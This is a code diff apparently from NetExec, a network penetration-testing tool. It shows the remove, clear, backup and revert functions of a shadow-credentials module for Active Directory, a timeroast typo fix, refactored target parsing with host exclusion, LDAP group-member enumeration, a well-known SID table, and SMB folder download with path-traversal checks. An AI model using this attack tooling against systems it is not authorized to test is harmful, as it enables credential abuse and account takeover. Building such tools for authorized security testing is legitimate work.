+            "Custom key info": credential.CustomKeyInfo,
+            **{f"  {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
+            "Last logon time": credential.LastLogonTime,
+            "Creation time": credential.CreationTime,
+        }.items():
+            self.context.log.highlight(f"{name:<17} {value}")
+
+    def remove(self, target_dn, credentials):
+        result = self.get_credential(credentials)
+        if result is None:
+            return
+
+        raw_value, _ = result
+        try:
+            # Delete the exact raw value so neighboring credentials remain untouched.
+            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
+        except LDAPSessionError as e:
+            self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
+            return
+
+        self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
+
+    def clear(self, target_dn, raw_values):
+        if not raw_values:
+            self.context.log.display(f"No KeyCredentials found on {self.target}")
+            return
+
+        try:
+            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
+        except LDAPSessionError as e:
+            self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
+            return
+
+        self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
+
+    def backup(self, raw_values):
+        output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
+        output_path.parent.mkdir(parents=True, exist_ok=True)
+        output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
+        self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
+
+    def revert(self, target_dn):
+        try:
+            key_credentials = []
+            for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
+                if not isinstance(key_credential, (dict, str)):
+                    raise ValueError("keyCredentials entries must be objects or strings")
+                key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
+        except Exception as e:
+            self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
+            return
+
+        try:
+            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
+        except Exception as e:
+            self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
+            return
+        self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")

nxc/modules/spider_plus.py

@@ -127,6 +127,8 @@ class SMBSpiderPlus:
                 self.logger.debug(f"The folder {subfolder} does not exist.")
             elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
                 self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
+            elif "STATUS_NO_SUCH_FILE" in str(e):
+                self.logger.debug(f"The folder {subfolder} is empty.")
             elif self.reconnect():
                 filelist = self.list_path(share, subfolder)
         except NetBIOSTimeout as e:

nxc/modules/timeroast.py

@@ -97,7 +97,7 @@ class NXCModule:
                 if ready:
                     reply = sock.recvfrom(120)[0]
 
-                    # Extract RID, hash and "salt" if succesful.
+                    # Extract RID, hash and "salt" if successful.
                     if len(reply) == 68:
                         salt = reply[:48]
                         answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag

nxc/netexec.py

@@ -1,15 +1,14 @@
 # PYTHON_ARGCOMPLETE_OK
 import contextlib
 import sys
+
 from nxc.helpers.logger import highlight
-from nxc.helpers.misc import identify_target_file, display_modules
-from nxc.parsers.ip import parse_targets
-from nxc.parsers.nmap import parse_nmap_xml
-from nxc.parsers.nessus import parse_nessus_file
+from nxc.helpers.misc import display_modules
 from nxc.cli import gen_cli_args
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
 from nxc.first_run import first_run_setup
+from nxc.parsers.ip import process_targets
 from nxc.paths import NXC_PATH, WORKSPACE_DIR
 from nxc.console import nxc_console
 from nxc.logger import nxc_logger
@@ -21,7 +20,6 @@ from nxc.helpers import powershell
 import signal
 import shutil
 import os
-from os.path import exists
 from os.path import join as path_join
 from sys import exit
 from rich.progress import Progress
@@ -110,8 +108,6 @@ def main():
         nxc_logger.error("KRB5CCNAME environment variable is not set")
         exit(1)
 
-    targets = []
-
     if hasattr(args, "cred_id") and args.cred_id:
         for cred_id in args.cred_id:
             if "-" in str(cred_id):
@@ -124,27 +120,11 @@ def main():
                     nxc_logger.error(f"Error parsing database credential id: {e}")
                     exit(1)
 
-    if hasattr(args, "target") and args.target:
-        for target in args.target:
-            try:
-                if exists(target) and os.path.isfile(target):
-                    target_file_type = identify_target_file(target)
-                    if target_file_type == "nmap":
-                        targets.extend(parse_nmap_xml(target, args.protocol))
-                    elif target_file_type == "nessus":
-                        targets.extend(parse_nessus_file(target, args.protocol))
-                    else:
-                        with open(target) as target_file:
-                            for target_entry in target_file:
-                                targets.extend(parse_targets(target_entry.strip()))
-                else:
-                    targets.extend(parse_targets(target))
-            except Exception as e:
-                nxc_logger.fail(f"Failed to parse target '{target}': {e}")
+    targets = process_targets(args)
 
     # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
     if hasattr(args, "clear_obfscripts") and args.clear_obfscripts:
-        obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
+        obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts")
         shutil.rmtree(obfuscated_dir)
         os.mkdir(obfuscated_dir)
         nxc_logger.success("Cleared cached obfuscated PowerShell scripts")

nxc/parsers/ip.py

@@ -1,22 +1,135 @@
+import netifaces
 from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
+from nxc.helpers.logger import highlight
+from nxc.helpers.misc import identify_target_file
+from nxc.config import exclude_hosts, skip_self
+from nxc.logger import nxc_logger
+from nxc.parsers.nmap import parse_nmap_xml
+from nxc.parsers.nessus import parse_nessus_file
+
+from os.path import exists, isfile
+from pathlib import Path
+from sys import exit
+
+
+def process_targets(args):
+    targets = []
+    if hasattr(args, "target") and args.target:
+        for target in args.target:
+            try:
+                if exists(target) and isfile(target):
+                    target_file_type = identify_target_file(target)
+                    if target_file_type == "nmap":
+                        targets.extend(parse_nmap_xml(target, args.protocol))
+                    elif target_file_type == "nessus":
+                        targets.extend(parse_nessus_file(target, args.protocol))
+                    else:
+                        with open(target) as target_file:
+                            for target_entry in target_file:
+                                targets.extend(parse_targets(target_entry.strip()))
+                else:
+                    targets.extend(parse_targets(target))
+            except Exception as e:
+                nxc_logger.fail(f"Failed to parse target '{target}': {e}")
+
+    # Handle exclusions from config
+    excluded_ips = set()
+
+    # Process exclude_hosts from config. Important, we are reusing the parse_targets because it
+    # already provides the code necessary for parsing all provided inputs
+    if args.exclude_hosts is not None:
+        exclude_hosts.extend(args.exclude_hosts)
+
+    for excluded in exclude_hosts:
+        if Path(excluded).is_file():
+            with open(excluded) as excluded_file:
+                for line in excluded_file.readlines():
+                    excluded_ips.update(parse_targets(line.strip()))
+        else:
+            excluded_ips.update(parse_targets(excluded))
+
+    # Process skip_self from config and cli argument
+    if skip_self or args.skip_self:
+        local_ips = get_local_ips()
+        if local_ips:
+            nxc_logger.debug(f"Local IP addresses detected: {local_ips}")
+            excluded_ips.update(local_ips)
+        else:
+            nxc_logger.error("Could not determine local IP address for skip_self")
+
+    # Validate that all objects to be excluded are valid IP addresses
+    try:
+        for ip in excluded_ips:
+            ip_address(ip)
+    except ValueError as e:
+        nxc_logger.error(f"Invalid IP address in excluded hosts: {e}")
+        exit(1)
+
+    # Filter out excluded targets
+    if excluded_ips:
+        ignore_target_warning = False
+        for target in targets:
+            try:
+                ip_address(target)
+            except ValueError:
+                if not ignore_target_warning:
+                    ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red"))
+                    if ans.lower() not in ["y", "yes", ""]:
+                        exit(1)
+                    ignore_target_warning = True
+
+        original_count = len(targets)
+        excluded_targets = [target for target in targets if target in excluded_ips]
+        targets = [target for target in targets if target not in excluded_ips]
+        nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}")
+    return targets
+
+
+def get_local_ips():
+    """Get the local IP address using netifaces library."""
+    interfaces = netifaces.interfaces()
+    ips = set()
+
+    for interface in interfaces:
+        # Skip loopback interface
+        if interface == "lo" or interface.startswith("lo"):
+            continue
+
+        addresses = netifaces.ifaddresses(interface)
+        if netifaces.AF_INET in addresses:
+            for addr_info in addresses[netifaces.AF_INET]:
+                ip = addr_info.get("addr")
+                # Skip localhost and link-local addresses
+                if ip and not ip.startswith("127.") and not ip.startswith("169.254."):
+                    ips.add(ip)
+        if netifaces.AF_INET6 in addresses:
+            for addr_info in addresses[netifaces.AF_INET6]:
+                ip = addr_info.get("addr")
+                # Skip localhost and link-local addresses
+                if ip and not ip.startswith("::1") and not ip.startswith("fe80::"):
+                    ips.add(ip)
+    return ips
 
 
 def parse_targets(target):
     try:
         if "-" in target:
             start_ip, end_ip = target.split("-")
+            start = ip_address(start_ip)
             try:
-                end_ip = ip_address(end_ip)
+                end = ip_address(end_ip)
             except ValueError:
-                first_three_octets = start_ip.split(".")[:-1]
-                first_three_octets.append(end_ip)
-                end_ip = ip_address(".".join(first_three_octets))
+                sep = ":" if start.version == 6 else "."
+                prefix = start_ip.split(sep)[:-1]
+                prefix.append(end_ip)
+                end = ip_address(sep.join(prefix))
 
-            for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
+            for ip_range in summarize_address_range(start, end):
                 for ip in ip_range:
                     yield str(ip)
         else:
-            if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
+            ip = ip_interface(target).ip
+            if ip.version == 6 and ip.is_link_local:
                 yield str(target)
             else:
                 for ip in ip_network(target, strict=False):

nxc/protocols/ldap.py

@@ -744,12 +744,12 @@ class ldap(connection):
         self.users()
 
     def groups(self):
-        # Building the search filter
+        # Group specific member search
         if self.args.groups:
             self.logger.debug(f"Dumping group: {self.args.groups}")
 
-            # Resolve group DN and primaryGroupID (objectSid)
-            group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
+            # Resolve group DN and primaryGroupID (objectSid) and member attribute
+            group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"])
             group_parsed = parse_result_attributes(group_resp)
 
             if not group_parsed:
@@ -757,29 +757,63 @@ class ldap(connection):
                 return
             else:
                 group = group_parsed[0]
+                direct_group_members = group.get("member", [])
+                if not isinstance(direct_group_members, list):
+                    direct_group_members = [direct_group_members]
 
-            # Search filter: user must have membership OR primaryGroupID
+            # Get all group members: user must have membership OR primaryGroupID
             search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
             attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
+            resp = self.search(search_filter, attributes)
+            group_members = parse_result_attributes(resp)
+            self.logger.debug(f"Total of records returned {len(group_members)}")
 
-        else:
-            search_filter = "(objectCategory=group)"
-            attributes = ["cn", "member", "description"]
+            # Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return
+            if len(group_members) < len(direct_group_members):
+                for member_dn in direct_group_members:
+                    member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"])
+                    member_parsed = parse_result_attributes(member_resp)
 
-        resp = self.search(search_filter, attributes)
-        resp_parsed = parse_result_attributes(resp)
-        self.logger.debug(f"Total of records returned {len(resp_parsed)}")
+                    if member_parsed:
+                        group_members.append(member_parsed[0])
+                    else:
+                        self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'")
+                        group_members.append({"distinguishedName": member_dn})
+
+            # Deduplicate group members by distinguishedName or cn
+            deduped = {}
+            for item in group_members:
+                key = item.get("distinguishedName", item.get("cn", "")).lower()
+                deduped.setdefault(key, item)
+            resp_parsed = list(deduped.values())
 
-        if self.args.groups:
             # Display group members
             if not resp_parsed:
                 self.logger.fail(f"Group '{self.args.groups}' has no members")
             else:
                 for item in resp_parsed:
-                    # Display sAMAccountName or CN if sAMAccountName not present (could be a group)
-                    # Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
-                    self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
+                    # Display cn if it is a group
+                    # Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present
+                    # If nothing is present, display Distinguished Name
+                    if "group" in item.get("objectClass", []):
+                        out = item["cn"]
+                    elif "sAMAccountName" in item:
+                        out = item["sAMAccountName"]
+                    elif "cn" in item:
+                        out = item["cn"]
+                    else:
+                        out = item["distinguishedName"]
+                    self.logger.highlight(out)
+
+        # List all groups
         else:
+            search_filter = "(objectCategory=group)"
+            attributes = ["cn", "member", "description"]
+
+            resp = self.search(search_filter, attributes)
+            resp_parsed = parse_result_attributes(resp)
+            self.logger.debug(f"Total of records returned {len(resp_parsed)}")
+
             # Display all groups
             self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
             for item in resp_parsed:
@@ -1203,7 +1237,7 @@ class ldap(connection):
         def printTable(items, header):
             colLen = []
 
-            # Calculating maximum lenght before parsing CN.
+            # Calculating maximum length before parsing CN.
             for i, col in enumerate(header):
                 rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
                 colLen.append(max(rowMaxLen, len(col)))

nxc/protocols/ldap/constants.py

@@ -0,0 +1,124 @@
+from impacket.ldap.ldaptypes import ACCESS_MASK
+
+# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
+# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
+WELL_KNOWN_SIDS = {
+    "S-1-0": "Null Authority",
+    "S-1-0-0": "Nobody",
+    "S-1-1": "World Authority",
+    "S-1-1-0": "Everyone",
+    "S-1-2": "Local Authority",
+    "S-1-2-0": "Local",
+    "S-1-2-1": "Console Logon",
+    "S-1-3": "Creator Authority",
+    "S-1-3-0": "Creator Owner",
+    "S-1-3-1": "Creator Group",
+    "S-1-3-2": "Creator Owner Server",
+    "S-1-3-3": "Creator Group Server",
+    "S-1-3-4": "Owner Rights",
+    "S-1-4": "Non-unique Authority",
+    "S-1-5": "NT Authority",
+    "S-1-5-1": "Dialup",
+    "S-1-5-2": "Network",
+    "S-1-5-3": "Batch",
+    "S-1-5-4": "Interactive",
+    "S-1-5-6": "Service",
+    "S-1-5-7": "Anonymous",
+    "S-1-5-8": "Proxy",
+    "S-1-5-9": "Enterprise Domain Controllers",
+    "S-1-5-10": "Principal Self",
+    "S-1-5-11": "Authenticated Users",
+    "S-1-5-12": "Restricted Code",
+    "S-1-5-13": "Terminal Server Users",
+    "S-1-5-14": "Remote Interactive Logon",
+    "S-1-5-15": "This Organization",
+    "S-1-5-17": "This Organization",
+    "S-1-5-18": "Local System",
+    "S-1-5-19": "NT Authority",
+    "S-1-5-20": "NT Authority",
+    "S-1-5-21-0-0-0-496": "Compounded Authentication",  # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
+    "S-1-5-21-0-0-0-497": "Claims Valid",  # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
+    "S-1-5-32-544": "Administrators",
+    "S-1-5-32-545": "Users",
+    "S-1-5-32-546": "Guests",
+    "S-1-5-32-547": "Power Users",
+    "S-1-5-32-548": "Account Operators",
+    "S-1-5-32-549": "Server Operators",
+    "S-1-5-32-550": "Print Operators",
+    "S-1-5-32-551": "Backup Operators",
+    "S-1-5-32-552": "Replicators",
+    "S-1-5-32-553": "RAS and IAS Servers",
+    "S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
+    "S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
+    "S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
+    "S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
+    "S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
+    "S-1-5-32-559": r"BUILTIN\Performance Log Users",
+    "S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
+    "S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
+    "S-1-5-32-562": r"BUILTIN\Distributed COM Users",
+    "S-1-5-32-568": r"BUILTIN\DCOM Users",
+    "S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
+    "S-1-5-32-571": r"BUILTIN\Cacheable Principals",
+    "S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
+    "S-1-5-32-573": r"BUILTIN\Event Log Readers",
+    "S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
+    "S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
+    "S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
+    "S-1-5-32-577": r"BUILTIN\RDS Management Servers",
+    "S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
+    "S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
+    "S-1-5-32-580": r"BUILTIN\Remote Management Users",
+    "S-1-5-32-581": r"BUILTIN\Default Account",
+    "S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
+    "S-1-5-32-583": r"BUILTIN\Device Owners",
+    "S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
+    "S-1-5-32-585": r"BUILTIN\OpenSSH Users",
+    "S-1-5-33": "Write Restricted Code",
+    "S-1-5-64-10": "NTLM Authentication",
+    "S-1-5-64-14": "SChannel Authentication",
+    "S-1-5-64-21": "Digest Authority",
+    "S-1-5-65-1": "This Organization Certificate",  # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
+    "S-1-5-80": "NT Service",
+    "S-1-5-80-0": "All Services",
+    "S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
+    "S-1-5-84-0-0-0-0-0": "User Mode Drivers",
+    "S-1-5-1000": "Other Organization",
+    "S-1-16-0": "Untrusted Mandatory Level",
+    "S-1-16-4096": "Low Mandatory Level",
+    "S-1-16-8192": "Medium Mandatory Level",
+    "S-1-16-8448": "Medium Plus Mandatory Level",
+    "S-1-16-12288": "High Mandatory Level",
+    "S-1-16-16384": "System Mandatory Level",
+    "S-1-16-20480": "Protected Process Mandatory Level",
+    "S-1-16-28672": "Secure Process Mandatory Level",
+    "S-1-18-1": "Authentication Authority Asserted Identity",
+    "S-1-18-2": "Service Asserted Identity",
+    "S-1-18-3": "Fresh public key identity",
+    "S-1-18-5": "MFA Key Property",
+    "S-1-18-6": "Attested Key Property",
+}
+
+ACCESS_MASK_TO_TEXT_LOOKUP = {
+    ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
+    ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
+    ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
+    ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
+    ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
+    ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
+    ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
+    ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
+    ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
+    ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
+    ACCESS_MASK.DELETE: "DELETE",
+    # file system rights
+    0x00000001: "FILE_READ_DATA",
+    0x00000002: "FILE_WRITE_DATA",
+    0x00000004: "FILE_APPEND_DATA",
+    0x00000008: "FILE_READ_EA",
+    0x00000010: "FILE_WRITE_EA",
+    0x00000020: "FILE_EXECUTE",
+    0x00000040: "FILE_DELETE_CHILD",
+    0x00000080: "FILE_READ_ATTRIBUTES",
+    0x00000100: "FILE_WRITE_ATTRIBUTES"
+}

nxc/protocols/ldap/kerberos.py

@@ -167,7 +167,7 @@ class KerberosAttacks:
                 if e.errno == 113:
                     self.logger.fail(f"Unable to resolve KDC hostname: {e!s}")
                 else:
-                    self.logger.fail(f"Some other OSError occured: {e!s}")
+                    self.logger.fail(f"Some other OSError occurred: {e!s}")
                 return None
             except Exception as e:
                 self.logger.debug(f"TGT: {e!s}")

nxc/protocols/smb.py

@@ -4,6 +4,9 @@ import os
 import re
 import struct
 import ipaddress
+from pathlib import Path
+
+from nxc.helpers.path import sanitize_filename
 from Cryptodome.Hash import MD4
 from textwrap import dedent
 
@@ -42,16 +45,17 @@ from impacket.smb3structs import (
     FILE_ADD_SUBDIRECTORY,
     FILE_DIRECTORY_FILE,
     FILE_OPEN,
+    FILE_READ_DATA,
     FILE_SHARE_DELETE,
     FILE_SHARE_READ,
     FILE_SHARE_WRITE,
     FILE_SYNCHRONOUS_IO_NONALERT,
+    FILE_WRITE_DATA,
     GENERIC_WRITE,
     SMB2_0_IOCTL_IS_FSCTL,
     WRITE_DAC,
     WRITE_OWNER,
 )
-
 from impacket.dcerpc.v5 import tsts as TSTS
 
 from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
@@ -318,7 +322,7 @@ class smb(connection):
         if not self.kdcHost and self.domain and self.domain == self.targetDomain:
             result = self.resolver(self.domain)
             self.kdcHost = result["host"] if result else None
-            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+            self.logger.debug(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
 
     def print_host_info(self):
         signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
@@ -646,7 +650,7 @@ class smb(connection):
         return self.conn.isSigningRequired()
 
     def create_smbv1_conn(self, check=False):
-        self.logger.info(f"Creating SMBv1 connection to {self.host}")
+        self.logger.debug(f"Creating SMBv1 connection to {self.host}")
         try:
             conn = SMBConnection(
                 self.remoteName,
@@ -661,26 +665,26 @@ class smb(connection):
                 self.conn = conn
         except OSError as e:
             if "Connection reset by peer" in str(e):
-                self.logger.info(f"SMBv1 might be disabled on {self.host}")
+                self.logger.debug(f"SMBv1 might be disabled on {self.host}")
             elif "timed out" in str(e):
                 self.is_timed_out = True
                 self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
             else:
-                self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
+                self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
             self.smbv1 = False
             return False
         except NetBIOSError:
-            self.logger.info(f"SMBv1 disabled on {self.host}")
+            self.logger.debug(f"SMBv1 disabled on {self.host}")
             self.smbv1 = False
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
+            self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
             self.smbv1 = False
             return False
         return True
 
     def create_smbv3_conn(self):
-        self.logger.info(f"Creating SMBv3 connection to {self.host}")
+        self.logger.debug(f"Creating SMBv3 connection to {self.host}")
         try:
             self.conn = SMBConnection(
                 self.remoteName,
@@ -695,7 +699,7 @@ class smb(connection):
                 self.is_timed_out = True
                 self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
             else:
-                self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
+                self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
             self.smbv3 = False
             return False
         return True
@@ -2149,24 +2153,108 @@ class smb(connection):
         for src, dest in self.args.put_file:
             self.put_file_single(src, dest)
 
-    def get_file_single(self, remote_path, download_path):
+    def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
+        try:
+            self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
+            self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
+            return True
+        except SessionError as e:
+            if "STATUS_SHARING_VIOLATION" in str(e):
+                self.logger.debug(f"Sharing violation on {remote_path}: {e}")
+            else:
+                self.logger.debug(f"SessionError when attempting to download file {remote_path}: {e}")
+            return False
+        except Exception as e:
+            self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
+            return False
+
+    def get_file_single(self, remote_path, download_path, silent=False):
         share_name = self.args.share
-        self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
+        if not silent:
+            self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
         if self.args.append_host:
             download_path = f"{self.hostname}-{remote_path}"
         with open(download_path, "wb+") as file:
-            try:
-                self.conn.getFile(share_name, remote_path, file.write)
-                self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
-            except Exception as e:
-                self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
-                if os.path.getsize(download_path) == 0:
-                    os.remove(download_path)
+            if self.download_file(share_name, remote_path, file.write):
+                if not silent:
+                    self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
+            else:
+                self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
+                if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
+                    if not silent:
+                        self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
+                else:
+                    if not silent:
+                        self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
 
     def get_file(self):
         for src, dest in self.args.get_file:
             self.get_file_single(src, dest)
 
+    def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False):
+        folder = ntpath.normpath(folder)
+        self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: {silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}")
+        base_folder = os.path.basename(folder)
+        self.logger.debug(f"Base folder: {base_folder}")
+
+        try:
+            items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
+        except SessionError as e:
+            self.logger.error(f"Error listing folder '{folder}': {e}")
+            return
+        self.logger.debug(f"{len(items)} items in folder: {items}")
+
+        filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
+
+        # create local directory structure regardless of content; download empty folders by default
+        # change the Windows path to Linux and then join it with the base directory to get our actual save path
+        relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
+        local_folder_path = os.path.join(dest, relative_path)
+
+        if not filtered_items and ignore_empty:
+            self.logger.debug(f"Skipping empty folder '{folder}'")
+            return
+
+        # create the directory for this folder
+        os.makedirs(local_folder_path, exist_ok=True)
+        if not filtered_items and not silent:
+            self.logger.display(f"Created empty directory '{local_folder_path}'")
+
+        for item in filtered_items:
+            item_name = sanitize_filename(item.get_longname())
+            if not item_name:
+                self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping")
+                continue
+            dir_path = ntpath.normpath(ntpath.join(folder, item_name))
+            self.logger.debug(f"Parsing item: {item_name}, {dir_path}")
+
+            if item.is_directory() and recursive:
+                self.logger.debug(f"Found new directory to parse: {dir_path}")
+                self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
+            elif not item.is_directory():
+                remote_file_path = ntpath.join(folder, item_name)
+                local_file_path = os.path.join(local_folder_path, item_name)
+                # Defense-in-depth: verify path stays under destination
+                resolved = Path(local_file_path).resolve()
+                if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep):
+                    self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
+                    continue
+                self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
+
+                try:
+                    self.get_file_single(remote_file_path, local_file_path, silent)
+                except FileNotFoundError:
+                    self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
+
+    def get_folder(self):
+        recursive = self.args.recursive
+        ignore_empty = self.args.ignore_empty_folders
+        self.logger.debug(f"Recursive option set to {recursive}")
+        self.logger.debug(f"Ignore empty folders option set to {ignore_empty}")
+        for folder, dest in self.args.get_folder:
+            self.download_folder(folder, dest, recursive, self.args.silent, None, ignore_empty)
+            self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'")
+
     def enable_remoteops(self, regsecret=False):
         try:
             if regsecret:

nxc/protocols/smb/proto_args.py

@@ -1,4 +1,4 @@
-from argparse import _StoreTrueAction
+from argparse import BooleanOptionalAction, _StoreTrueAction
 from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action
 
 
@@ -23,7 +23,7 @@ def proto_args(parser, parents):
     smb_parser.add_argument("--no-admin-check", action="store_true", help="Avoid checking admin which queries the Service Control Manager")
     smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
     smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
-    smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
+    smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentication", nargs="?", const="administrator")
     smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
     smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
     smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket")
@@ -91,6 +91,9 @@ def proto_args(parser, parents):
     files_group = smb_parser.add_argument_group("File Operations")
     files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
